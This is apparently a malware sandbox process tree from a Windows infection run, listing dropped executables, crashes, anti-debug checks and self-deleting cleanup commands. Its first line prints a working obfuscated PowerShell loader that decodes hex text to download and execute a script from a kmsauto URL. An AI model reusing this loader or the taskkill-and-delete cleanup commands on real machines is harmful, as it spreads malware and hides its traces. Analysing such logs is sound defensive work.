C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" $TRUMP ='https://kmsautoXXXus/1/fixXXXtxt'.Replace('XXX','.');$Shib='24=42=20=3d=27=45=54=48=20=43=4f=49=4e=74=2e=57=54=46=20=43=4f=49=4e=6c=49=4f=53=4e=54=27=2e=52=65=70=6c=61=63=65=28=27=45=54=48=20=43=4f=49=4e=27=2c=27=6e=45=27=29=2e=52=65=70=6c=61=63=65=28=27=54=46=20=43=4f=49=4e=27=2c=27=45=62=43=27=29=2e=52=65=70=6c=61=63=65=28=27=4f=53=27=2c=27=65=27=29=3b=24=43=43=20=3d=20=27=44=4f=53=20=43=4f=49=4e=20=4c=53=4f=53=43=4f=49=4e=6e=47=27=2e=52=65=70=6c=61=63=65=28=27=53=20=43=4f=49=4e=20=27=2c=27=57=6e=27=29=2e=52=65=70=6c=61=63=65=28=27=53=4f=27=2c=27=6f=61=44=27=29=2e=52=65=70=6c=61=63=65=28=27=43=4f=49=4e=27=2c=27=54=72=49=27=29=3b=24=41=20=3d=27=49=60=45=6f=73=20=43=4f=49=4e=60=57=60=42=54=43=20=43=4f=49=4e=6a=60=45=54=48=20=43=4f=49=4e=20=24=42=29=2e=24=43=43=28=24=54=52=55=4d=50=29=27=2e=52=65=70=6c=61=63=65=28=27=6f=73=20=43=4f=49=4e=27=2c=27=58=28=6e=60=65=27=29=2e=52=65=70=6c=61=63=65=28=27=42=54=43=20=43=4f=49=4e=27=2c=27=2d=4f=62=27=29=2e=52=65=70=6c=61=63=65=28=27=54=48=20=43=4f=49=4e=27=2c=27=60=63=60=54=27=29=3b=26=28=27=49=27=2b=27=45=58=27=29=28=24=41=20=2d=4a=6f=69=6e=20=27=27=29=7c=26=28=27=49=27=2b=27=45=58=27=29=3b';Invoke-Expression (-join ($Shib -split '=' | ? { $_ } | % { [char][convert]::ToUInt32($_,16) }))5⤵PID:2308
-
-
-
-
-
C:\Users\Admin\Documents\ZYciPTfTeNGBEwPgRmyOxkbw.exe"C:\Users\Admin\Documents\ZYciPTfTeNGBEwPgRmyOxkbw.exe"2⤵
- Executes dropped EXE
- Suspicious use of AdjustPrivilegeToken
PID:3192 -
C:\Users\Admin\AppData\Roaming\3846477.exe"C:\Users\Admin\AppData\Roaming\3846477.exe"3⤵PID:2652
-
C:\Users\Admin\AppData\Roaming\WinHost\WinHoster.exe"C:\Users\Admin\AppData\Roaming\WinHost\WinHoster.exe"4⤵PID:1460
-
-
-
C:\Users\Admin\AppData\Roaming\5694145.exe"C:\Users\Admin\AppData\Roaming\5694145.exe"3⤵PID:4332
-
-
C:\Users\Admin\AppData\Roaming\1813458.exe"C:\Users\Admin\AppData\Roaming\1813458.exe"3⤵PID:6176
-
-
C:\Users\Admin\AppData\Roaming\8391759.exe"C:\Users\Admin\AppData\Roaming\8391759.exe"3⤵PID:6244
-
-
C:\Users\Admin\AppData\Roaming\1647889.exe"C:\Users\Admin\AppData\Roaming\1647889.exe"3⤵PID:6324
-
-
-
C:\Users\Admin\Documents\u8Pr90_oWKTBnRjrfthCWArY.exe"C:\Users\Admin\Documents\u8Pr90_oWKTBnRjrfthCWArY.exe"2⤵
- Executes dropped EXE
PID:2112 -
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 2112 -s 7683⤵
- Program crash
PID:5268
-
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 2112 -s 8203⤵
- Program crash
PID:5944
-
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 2112 -s 8403⤵
- Program crash
PID:4864
-
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 2112 -s 8003⤵
- Program crash
PID:4948
-
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 2112 -s 8523⤵
- Program crash
PID:4264
-
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 2112 -s 10963⤵
- Program crash
PID:8164
-
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 2112 -s 11283⤵
- Program crash
PID:8188
-
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 2112 -s 13483⤵
- Program crash
PID:8836
-
-
C:\Windows\SysWOW64\cmd.exe"C:\Windows\System32\cmd.exe" /c start /I "" "C:\Users\Admin\AppData\Local\Temp\1656265724.exe"3⤵PID:9000
-
C:\Users\Admin\AppData\Local\Temp\1656265724.exe"C:\Users\Admin\AppData\Local\Temp\1656265724.exe"4⤵PID:8632
-
-
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 2112 -s 17643⤵
- Program crash
PID:9004
-
-
C:\Windows\SysWOW64\cmd.exe"C:\Windows\System32\cmd.exe" /c start /I "" "C:\Users\Admin\AppData\Local\Temp\6803633883.exe"3⤵PID:10160
-
C:\Users\Admin\AppData\Local\Temp\6803633883.exe"C:\Users\Admin\AppData\Local\Temp\6803633883.exe"4⤵PID:9388
-
-
-
C:\Windows\SysWOW64\cmd.exe"C:\Windows\System32\cmd.exe" /c taskkill /im "u8Pr90_oWKTBnRjrfthCWArY.exe" /f & erase "C:\Users\Admin\Documents\u8Pr90_oWKTBnRjrfthCWArY.exe" & exit3⤵PID:9552
-
C:\Windows\SysWOW64\taskkill.exetaskkill /im "u8Pr90_oWKTBnRjrfthCWArY.exe" /f4⤵
- Kills process with taskkill
PID:9316
-
-
-
-
C:\Users\Admin\Documents\fanmuFL8IBVA8cf2pZ6fwkIG.exe"C:\Users\Admin\Documents\fanmuFL8IBVA8cf2pZ6fwkIG.exe"2⤵
- Executes dropped EXE
- Checks BIOS information in registry
- Checks whether UAC is enabled
- Suspicious use of NtSetInformationThreadHideFromDebugger
PID:1104
-
-
C:\Users\Admin\Documents\lA9tvdVbf9Cxki_DgEgj5Jhb.exe"C:\Users\Admin\Documents\lA9tvdVbf9Cxki_DgEgj5Jhb.exe"2⤵
- Executes dropped EXE
PID:3952
-
-
C:\Users\Admin\Documents\1NzGiW9eRUTBMDGIh6Jpdo_o.exe"C:\Users\Admin\Documents\1NzGiW9eRUTBMDGIh6Jpdo_o.exe"2⤵
- Executes dropped EXE
PID:3644 -
C:\Users\Admin\Documents\1NzGiW9eRUTBMDGIh6Jpdo_o.exe"C:\Users\Admin\Documents\1NzGiW9eRUTBMDGIh6Jpdo_o.exe" -u3⤵PID:5332
-
-
-
C:\Users\Admin\Documents\edpKy_yEACl4QqHTWFHTl_G3.exe"C:\Users\Admin\Documents\edpKy_yEACl4QqHTWFHTl_G3.exe"2⤵
- Executes dropped EXE
PID:3852 -
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 3852 -s 6203⤵
- Program crash
PID:5496
-
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 3852 -s 6563⤵
- Program crash
PID:4756
-
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 3852 -s 7043⤵
- Program crash
PID:7568
-
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 3852 -s 6763⤵
- Program crash
PID:8000
-
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 3852 -s 6083⤵
- Program crash
PID:7436
-
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 3852 -s 8003⤵
- Program crash
PID:10164
-
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 3852 -s 8643⤵
- Program crash
PID:7652
-
-
-
C:\Users\Admin\Documents\kNoqHrESfLBozQa6Fk2Gbk0T.exe"C:\Users\Admin\Documents\kNoqHrESfLBozQa6Fk2Gbk0T.exe"2⤵
- Executes dropped EXE
PID:2124 -
C:\Program Files\Mozilla Firefox\firefox.exe"C:\Program Files\Mozilla Firefox\firefox.exe"3⤵PID:6852
-
C:\Program Files\Mozilla Firefox\firefox.exe"C:\Program Files\Mozilla Firefox\firefox.exe"4⤵PID:3892
-
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe"3⤵PID:8848
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" /prefetch:7 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Crashpad" "--metrics-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" --url=https://clients2.google.com/cr/report --annotation=channel= --annotation=plat=Win64 --annotation=prod=Chrome --annotation=ver=89.0.4389.114 --initial-client-data=0xcc,0xd0,0xd4,0xa8,0xd8,0x7ffb7e514f50,0x7ffb7e514f60,0x7ffb7e514f704⤵PID:9420
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=gpu-process --field-trial-handle=1528,8358945589103407639,9925003429078565995,131072 --gpu-preferences=SAAAAAAAAADgAAAwAAAAAAAAAAAAAAAAAABgAAAAAAAoAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAB4AAAAAAAAAHgAAAAAAAAAKAAAAAQAAAAgAAAAAAAAACgAAAAAAAAAMAAAAAAAAAA4AAAAAAAAABAAAAAAAAAAAAAAAAUAAAAQAAAAAAAAAAAAAAAGAAAAEAAAAAAAAAABAAAABQAAABAAAAAAAAAAAQAAAAYAAAAIAAAAAAAAAAgAAAAAAAAA --mojo-platform-channel-handle=1540 /prefetch:24⤵PID:6204
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=storage.mojom.StorageService --field-trial-handle=1528,8358945589103407639,9925003429078565995,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=2080 /prefetch:84⤵PID:10080
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --field-trial-handle=1528,8358945589103407639,9925003429078565995,131072 --lang=en-US --service-sandbox-type=network --mojo-platform-channel-handle=1796 /prefetch:84⤵PID:9744
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --field-trial-handle=1528,8358945589103407639,9925003429078565995,131072 --lang=en-US --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=7 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=2616 /prefetch:14⤵PID:8752
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --field-trial-handle=1528,8358945589103407639,9925003429078565995,131072 --lang=en-US --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=6 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=2624 /prefetch:14⤵PID:9460
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --field-trial-handle=1528,8358945589103407639,9925003429078565995,131072 --lang=en-US --extension-process --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=5 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=3324 /prefetch:14⤵PID:11344
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --field-trial-handle=1528,8358945589103407639,9925003429078565995,131072 --lang=en-US --extension-process --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=8 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=3524 /prefetch:14⤵PID:11396
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --field-trial-handle=1528,8358945589103407639,9925003429078565995,131072 --lang=en-US --extension-process --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=9 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=3672 /prefetch:14⤵PID:11480
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --field-trial-handle=1528,8358945589103407639,9925003429078565995,131072 --lang=en-US --extension-process --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=10 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=3732 /prefetch:14⤵PID:11528
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --field-trial-handle=1528,8358945589103407639,9925003429078565995,131072 --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=3936 /prefetch:84⤵PID:3556
-
-
-
C:\Windows\SysWOW64\cmd.exe"cmd.exe" /C taskkill /F /PID 2124 && choice /C Y /N /D Y /T 3 & Del "C:\Users\Admin\Documents\kNoqHrESfLBozQa6Fk2Gbk0T.exe"3⤵PID:2840
-
C:\Windows\SysWOW64\taskkill.exetaskkill /F /PID 21244⤵
- Kills process with taskkill
PID:10740
-
-
-
C:\Windows\SysWOW64\cmd.exe"cmd.exe" /C taskkill /F /PID 2124 && choice /C Y /N /D Y /T 3 & Del "C:\Users\Admin\Documents\kNoqHrESfLBozQa6Fk2Gbk0T.exe"3⤵PID:2228
-
C:\Windows\SysWOW64\taskkill.exetaskkill /F /PID 21244⤵
- Kills process with taskkill
PID:10732
-
-
-
-
C:\Users\Admin\Documents\mdTHm1mi67XDbwualV1hpCp8.exe"C:\Users\Admin\Documents\mdTHm1mi67XDbwualV1hpCp8.exe"2⤵
- Executes dropped EXE
- Suspicious use of AdjustPrivilegeToken
PID:2372 -
C:\Users\Admin\AppData\Roaming\1009711.exe"C:\Users\Admin\AppData\Roaming\1009711.exe"3⤵PID:6584
-
-
C:\Users\Admin\AppData\Roaming\5748671.exe"C:\Users\Admin\AppData\Roaming\5748671.exe"3⤵PID:6616
-
-
C:\Users\Admin\AppData\Roaming\2599299.exe"C:\Users\Admin\AppData\Roaming\2599299.exe"3⤵PID:6640
-
-
C:\Users\Admin\AppData\Roaming\4134361.exe"C:\Users\Admin\AppData\Roaming\4134361.exe"3⤵PID:6692
-
-
C:\Users\Admin\AppData\Roaming\8732474.exe"C:\Users\Admin\AppData\Roaming\8732474.exe"3⤵PID:6736
-
-
-
C:\Users\Admin\Documents\Q_iAu45So9VXjVMiySwWy97d.exe"C:\Users\Admin\Documents\Q_iAu45So9VXjVMiySwWy97d.exe"2⤵
- Executes dropped EXE
- Checks BIOS information in registry
- Checks whether UAC is enabled
- Suspicious use of NtSetInformationThreadHideFromDebugger
PID:2716
-
-
C:\Users\Admin\Documents\hipAszWjjydA2fyMgun5dZXc.exe"C:\Users\Admin\Documents\hipAszWjjydA2fyMgun5dZXc.exe"2⤵
- Executes dropped EXE
PID:404
-
-
C:\Users\Admin\Documents\2pmkmYH0LmITv3aG0SP6wk6k.exe"C:\Users\Admin\Documents\2pmkmYH0LmITv3aG0SP6wk6k.exe"2⤵
- Executes dropped EXE
PID:588 -
C:\Windows\SysWOW64\cmd.exe"C:\Windows\System32\cmd.exe" /c taskkill /im 2pmkmYH0LmITv3aG0SP6wk6k.exe /f & timeout /t 6 & del /f /q "C:\Users\Admin\Documents\2pmkmYH0LmITv3aG0SP6wk6k.exe" & del C:\ProgramData\*.dll & exit3⤵PID:8288
-
C:\Windows\SysWOW64\taskkill.exetaskkill /im 2pmkmYH0LmITv3aG0SP6wk6k.exe /f4⤵
- Kills process with taskkill
PID:8944
-
-
C:\Windows\SysWOW64\timeout.exetimeout /t 64⤵
- Delays execution with timeout.exe
PID:11648
-
-
-
-
C:\Users\Admin\Documents\XHZAafMWTcTFb7xQ9N1jd2ks.exe"C:\Users\Admin\Documents\XHZAafMWTcTFb7xQ9N1jd2ks.exe"2⤵
- Executes dropped EXE
PID:652 -
C:\Users\Admin\Documents\XHZAafMWTcTFb7xQ9N1jd2ks.exeC:\Users\Admin\Documents\XHZAafMWTcTFb7xQ9N1jd2ks.exe3⤵PID:4524
-
-
C:\Users\Admin\Documents\XHZAafMWTcTFb7xQ9N1jd2ks.exeC:\Users\Admin\Documents\XHZAafMWTcTFb7xQ9N1jd2ks.exe3⤵PID:4636
-
-
C:\Users\Admin\Documents\XHZAafMWTcTFb7xQ9N1jd2ks.exeC:\Users\Admin\Documents\XHZAafMWTcTFb7xQ9N1jd2ks.exe3⤵PID:4428
-
-
C:\Users\Admin\Documents\XHZAafMWTcTFb7xQ9N1jd2ks.exeC:\Users\Admin\Documents\XHZAafMWTcTFb7xQ9N1jd2ks.exe3⤵PID:4916
-
-
C:\Users\Admin\Documents\XHZAafMWTcTFb7xQ9N1jd2ks.exeC:\Users\Admin\Documents\XHZAafMWTcTFb7xQ9N1jd2ks.exe3⤵PID:4992
-
-
C:\Users\Admin\Documents\XHZAafMWTcTFb7xQ9N1jd2ks.exeC:\Users\Admin\Documents\XHZAafMWTcTFb7xQ9N1jd2ks.exe3⤵PID:4532
-
-
C:\Users\Admin\Documents\XHZAafMWTcTFb7xQ9N1jd2ks.exeC:\Users\Admin\Documents\XHZAafMWTcTFb7xQ9N1jd2ks.exe3⤵PID:4580
-
-
C:\Users\Admin\Documents\XHZAafMWTcTFb7xQ9N1jd2ks.exeC:\Users\Admin\Documents\XHZAafMWTcTFb7xQ9N1jd2ks.exe3⤵PID:5224
-
-
C:\Users\Admin\Documents\XHZAafMWTcTFb7xQ9N1jd2ks.exeC:\Users\Admin\Documents\XHZAafMWTcTFb7xQ9N1jd2ks.exe3⤵PID:5480
-
-
C:\Users\Admin\Documents\XHZAafMWTcTFb7xQ9N1jd2ks.exeC:\Users\Admin\Documents\XHZAafMWTcTFb7xQ9N1jd2ks.exe3⤵PID:5796
-
-
C:\Users\Admin\Documents\XHZAafMWTcTFb7xQ9N1jd2ks.exeC:\Users\Admin\Documents\XHZAafMWTcTFb7xQ9N1jd2ks.exe3⤵PID:60
-
-
C:\Users\Admin\Documents\XHZAafMWTcTFb7xQ9N1jd2ks.exeC:\Users\Admin\Documents\XHZAafMWTcTFb7xQ9N1jd2ks.exe3⤵PID:5812
-
-
C:\Users\Admin\Documents\XHZAafMWTcTFb7xQ9N1jd2ks.exeC:\Users\Admin\Documents\XHZAafMWTcTFb7xQ9N1jd2ks.exe3⤵PID:4552
-
-
C:\Users\Admin\Documents\XHZAafMWTcTFb7xQ9N1jd2ks.exeC:\Users\Admin\Documents\XHZAafMWTcTFb7xQ9N1jd2ks.exe3⤵PID:2388
-
-
C:\Users\Admin\Documents\XHZAafMWTcTFb7xQ9N1jd2ks.exeC:\Users\Admin\Documents\XHZAafMWTcTFb7xQ9N1jd2ks.exe3⤵PID:4304
-
-
C:\Users\Admin\Documents\XHZAafMWTcTFb7xQ9N1jd2ks.exeC:\Users\Admin\Documents\XHZAafMWTcTFb7xQ9N1jd2ks.exe3⤵PID:5876
-
-
C:\Users\Admin\Documents\XHZAafMWTcTFb7xQ9N1jd2ks.exeC:\Users\Admin\Documents\XHZAafMWTcTFb7xQ9N1jd2ks.exe3⤵PID:6460
-
-
C:\Users\Admin\Documents\XHZAafMWTcTFb7xQ9N1jd2ks.exeC:\Users\Admin\Documents\XHZAafMWTcTFb7xQ9N1jd2ks.exe3⤵PID:6924
-
-
C:\Users\Admin\Documents\XHZAafMWTcTFb7xQ9N1jd2ks.exeC:\Users\Admin\Documents\XHZAafMWTcTFb7xQ9N1jd2ks.exe3⤵PID:6504
-
-
C:\Users\Admin\Documents\XHZAafMWTcTFb7xQ9N1jd2ks.exeC:\Users\Admin\Documents\XHZAafMWTcTFb7xQ9N1jd2ks.exe3⤵PID:7036
-
-
C:\Users\Admin\Documents\XHZAafMWTcTFb7xQ9N1jd2ks.exeC:\Users\Admin\Documents\XHZAafMWTcTFb7xQ9N1jd2ks.exe3⤵PID:6008
-
-
C:\Users\Admin\Documents\XHZAafMWTcTFb7xQ9N1jd2ks.exeC:\Users\Admin\Documents\XHZAafMWTcTFb7xQ9N1jd2ks.exe3⤵PID:5944
-
-
C:\Users\Admin\Documents\XHZAafMWTcTFb7xQ9N1jd2ks.exeC:\Users\Admin\Documents\XHZAafMWTcTFb7xQ9N1jd2ks.exe3⤵PID:6192
-
-
C:\Users\Admin\Documents\XHZAafMWTcTFb7xQ9N1jd2ks.exeC:\Users\Admin\Documents\XHZAafMWTcTFb7xQ9N1jd2ks.exe3⤵PID:2080
-
-
C:\Users\Admin\Documents\XHZAafMWTcTFb7xQ9N1jd2ks.exeC:\Users\Admin\Documents\XHZAafMWTcTFb7xQ9N1jd2ks.exe3⤵PID:7384
-
-
C:\Users\Admin\Documents\XHZAafMWTcTFb7xQ9N1jd2ks.exeC:\Users\Admin\Documents\XHZAafMWTcTFb7xQ9N1jd2ks.exe3⤵PID:7740
-
-
C:\Users\Admin\Documents\XHZAafMWTcTFb7xQ9N1jd2ks.exeC:\Users\Admin\Documents\XHZAafMWTcTFb7xQ9N1jd2ks.exe3⤵PID:8076
-
-
C:\Users\Admin\Documents\XHZAafMWTcTFb7xQ9N1jd2ks.exeC:\Users\Admin\Documents\XHZAafMWTcTFb7xQ9N1jd2ks.exe3⤵PID:5376
-
-
C:\Users\Admin\Documents\XHZAafMWTcTFb7xQ9N1jd2ks.exeC:\Users\Admin\Documents\XHZAafMWTcTFb7xQ9N1jd2ks.exe3⤵PID:8060
-
-
C:\Users\Admin\Documents\XHZAafMWTcTFb7xQ9N1jd2ks.exeC:\Users\Admin\Documents\XHZAafMWTcTFb7xQ9N1jd2ks.exe3⤵PID:3272
-
-
C:\Users\Admin\Documents\XHZAafMWTcTFb7xQ9N1jd2ks.exeC:\Users\Admin\Documents\XHZAafMWTcTFb7xQ9N1jd2ks.exe3⤵PID:7904
-
-
C:\Users\Admin\Documents\XHZAafMWTcTFb7xQ9N1jd2ks.exeC:\Users\Admin\Documents\XHZAafMWTcTFb7xQ9N1jd2ks.exe3⤵PID:1276
-
-
C:\Users\Admin\Documents\XHZAafMWTcTFb7xQ9N1jd2ks.exeC:\Users\Admin\Documents\XHZAafMWTcTFb7xQ9N1jd2ks.exe3⤵PID:5948
-
-
C:\Users\Admin\Documents\XHZAafMWTcTFb7xQ9N1jd2ks.exeC:\Users\Admin\Documents\XHZAafMWTcTFb7xQ9N1jd2ks.exe3⤵PID:8232
-
-
C:\Users\Admin\Documents\XHZAafMWTcTFb7xQ9N1jd2ks.exeC:\Users\Admin\Documents\XHZAafMWTcTFb7xQ9N1jd2ks.exe3⤵PID:8684
-
-
C:\Users\Admin\Documents\XHZAafMWTcTFb7xQ9N1jd2ks.exeC:\Users\Admin\Documents\XHZAafMWTcTFb7xQ9N1jd2ks.exe3⤵PID:9044
-
-
C:\Users\Admin\Documents\XHZAafMWTcTFb7xQ9N1jd2ks.exeC:\Users\Admin\Documents\XHZAafMWTcTFb7xQ9N1jd2ks.exe3⤵PID:5028
-
-
C:\Users\Admin\Documents\XHZAafMWTcTFb7xQ9N1jd2ks.exeC:\Users\Admin\Documents\XHZAafMWTcTFb7xQ9N1jd2ks.exe3⤵PID:9076
-
-
C:\Users\Admin\Documents\XHZAafMWTcTFb7xQ9N1jd2ks.exeC:\Users\Admin\Documents\XHZAafMWTcTFb7xQ9N1jd2ks.exe3⤵PID:8832
-
-
C:\Users\Admin\Documents\XHZAafMWTcTFb7xQ9N1jd2ks.exeC:\Users\Admin\Documents\XHZAafMWTcTFb7xQ9N1jd2ks.exe3⤵PID:9040
-
-
C:\Users\Admin\Documents\XHZAafMWTcTFb7xQ9N1jd2ks.exeC:\Users\Admin\Documents\XHZAafMWTcTFb7xQ9N1jd2ks.exe3⤵PID:6812
-
-
C:\Users\Admin\Documents\XHZAafMWTcTFb7xQ9N1jd2ks.exeC:\Users\Admin\Documents\XHZAafMWTcTFb7xQ9N1jd2ks.exe3⤵PID:9356
-
-
C:\Users\Admin\Documents\XHZAafMWTcTFb7xQ9N1jd2ks.exeC:\Users\Admin\Documents\XHZAafMWTcTFb7xQ9N1jd2ks.exe3⤵PID:9620
-
-
C:\Users\Admin\Documents\XHZAafMWTcTFb7xQ9N1jd2ks.exeC:\Users\Admin\Documents\XHZAafMWTcTFb7xQ9N1jd2ks.exe3⤵PID:9976
-
-
C:\Users\Admin\Documents\XHZAafMWTcTFb7xQ9N1jd2ks.exeC:\Users\Admin\Documents\XHZAafMWTcTFb7xQ9N1jd2ks.exe3⤵PID:6944
-
-
C:\Users\Admin\Documents\XHZAafMWTcTFb7xQ9N1jd2ks.exeC:\Users\Admin\Documents\XHZAafMWTcTFb7xQ9N1jd2ks.exe3⤵PID:9556
-
-
C:\Users\Admin\Documents\XHZAafMWTcTFb7xQ9N1jd2ks.exeC:\Users\Admin\Documents\XHZAafMWTcTFb7xQ9N1jd2ks.exe3⤵PID:4672
-
-
C:\Users\Admin\Documents\XHZAafMWTcTFb7xQ9N1jd2ks.exeC:\Users\Admin\Documents\XHZAafMWTcTFb7xQ9N1jd2ks.exe3⤵PID:10152
-
-
C:\Users\Admin\Documents\XHZAafMWTcTFb7xQ9N1jd2ks.exeC:\Users\Admin\Documents\XHZAafMWTcTFb7xQ9N1jd2ks.exe3⤵PID:408
-
-
C:\Users\Admin\Documents\XHZAafMWTcTFb7xQ9N1jd2ks.exeC:\Users\Admin\Documents\XHZAafMWTcTFb7xQ9N1jd2ks.exe3⤵PID:1064
-
-
C:\Users\Admin\Documents\XHZAafMWTcTFb7xQ9N1jd2ks.exeC:\Users\Admin\Documents\XHZAafMWTcTFb7xQ9N1jd2ks.exe3⤵PID:4376
-
-
C:\Users\Admin\Documents\XHZAafMWTcTFb7xQ9N1jd2ks.exeC:\Users\Admin\Documents\XHZAafMWTcTFb7xQ9N1jd2ks.exe3⤵PID:9380
-
-
C:\Users\Admin\Documents\XHZAafMWTcTFb7xQ9N1jd2ks.exeC:\Users\Admin\Documents\XHZAafMWTcTFb7xQ9N1jd2ks.exe3⤵PID:2324
-
-
C:\Users\Admin\Documents\XHZAafMWTcTFb7xQ9N1jd2ks.exeC:\Users\Admin\Documents\XHZAafMWTcTFb7xQ9N1jd2ks.exe3⤵PID:4376
-
-
C:\Users\Admin\Documents\XHZAafMWTcTFb7xQ9N1jd2ks.exeC:\Users\Admin\Documents\XHZAafMWTcTFb7xQ9N1jd2ks.exe3⤵PID:1132
-
-
C:\Users\Admin\Documents\XHZAafMWTcTFb7xQ9N1jd2ks.exeC:\Users\Admin\Documents\XHZAafMWTcTFb7xQ9N1jd2ks.exe3⤵PID:10084
-
-
C:\Users\Admin\Documents\XHZAafMWTcTFb7xQ9N1jd2ks.exeC:\Users\Admin\Documents\XHZAafMWTcTFb7xQ9N1jd2ks.exe3⤵PID:9716
-
-
C:\Users\Admin\Documents\XHZAafMWTcTFb7xQ9N1jd2ks.exeC:\Users\Admin\Documents\XHZAafMWTcTFb7xQ9N1jd2ks.exe3⤵PID:10372
-
-
C:\Users\Admin\Documents\XHZAafMWTcTFb7xQ9N1jd2ks.exeC:\Users\Admin\Documents\XHZAafMWTcTFb7xQ9N1jd2ks.exe3⤵PID:10828
-
-
C:\Users\Admin\Documents\XHZAafMWTcTFb7xQ9N1jd2ks.exeC:\Users\Admin\Documents\XHZAafMWTcTFb7xQ9N1jd2ks.exe3⤵PID:11180
-
-
C:\Users\Admin\Documents\XHZAafMWTcTFb7xQ9N1jd2ks.exeC:\Users\Admin\Documents\XHZAafMWTcTFb7xQ9N1jd2ks.exe3⤵PID:9228
-
-
C:\Users\Admin\Documents\XHZAafMWTcTFb7xQ9N1jd2ks.exeC:\Users\Admin\Documents\XHZAafMWTcTFb7xQ9N1jd2ks.exe3⤵PID:5928
-
-
C:\Users\Admin\Documents\XHZAafMWTcTFb7xQ9N1jd2ks.exeC:\Users\Admin\Documents\XHZAafMWTcTFb7xQ9N1jd2ks.exe3⤵PID:10868
-
-
C:\Users\Admin\Documents\XHZAafMWTcTFb7xQ9N1jd2ks.exeC:\Users\Admin\Documents\XHZAafMWTcTFb7xQ9N1jd2ks.exe3⤵PID:3780
-
-
C:\Users\Admin\Documents\XHZAafMWTcTFb7xQ9N1jd2ks.exeC:\Users\Admin\Documents\XHZAafMWTcTFb7xQ9N1jd2ks.exe3⤵PID:9088
-
-
C:\Users\Admin\Documents\XHZAafMWTcTFb7xQ9N1jd2ks.exeC:\Users\Admin\Documents\XHZAafMWTcTFb7xQ9N1jd2ks.exe3⤵PID:11968
-
-
C:\Users\Admin\Documents\XHZAafMWTcTFb7xQ9N1jd2ks.exeC:\Users\Admin\Documents\XHZAafMWTcTFb7xQ9N1jd2ks.exe3⤵PID:11004
-
-
C:\Users\Admin\Documents\XHZAafMWTcTFb7xQ9N1jd2ks.exeC:\Users\Admin\Documents\XHZAafMWTcTFb7xQ9N1jd2ks.exe3⤵PID:11924
-
-
C:\Users\Admin\Documents\XHZAafMWTcTFb7xQ9N1jd2ks.exeC:\Users\Admin\Documents\XHZAafMWTcTFb7xQ9N1jd2ks.exe3⤵PID:1296
-
-
C:\Users\Admin\Documents\XHZAafMWTcTFb7xQ9N1jd2ks.exeC:\Users\Admin\Documents\XHZAafMWTcTFb7xQ9N1jd2ks.exe3⤵PID:5648
-
-
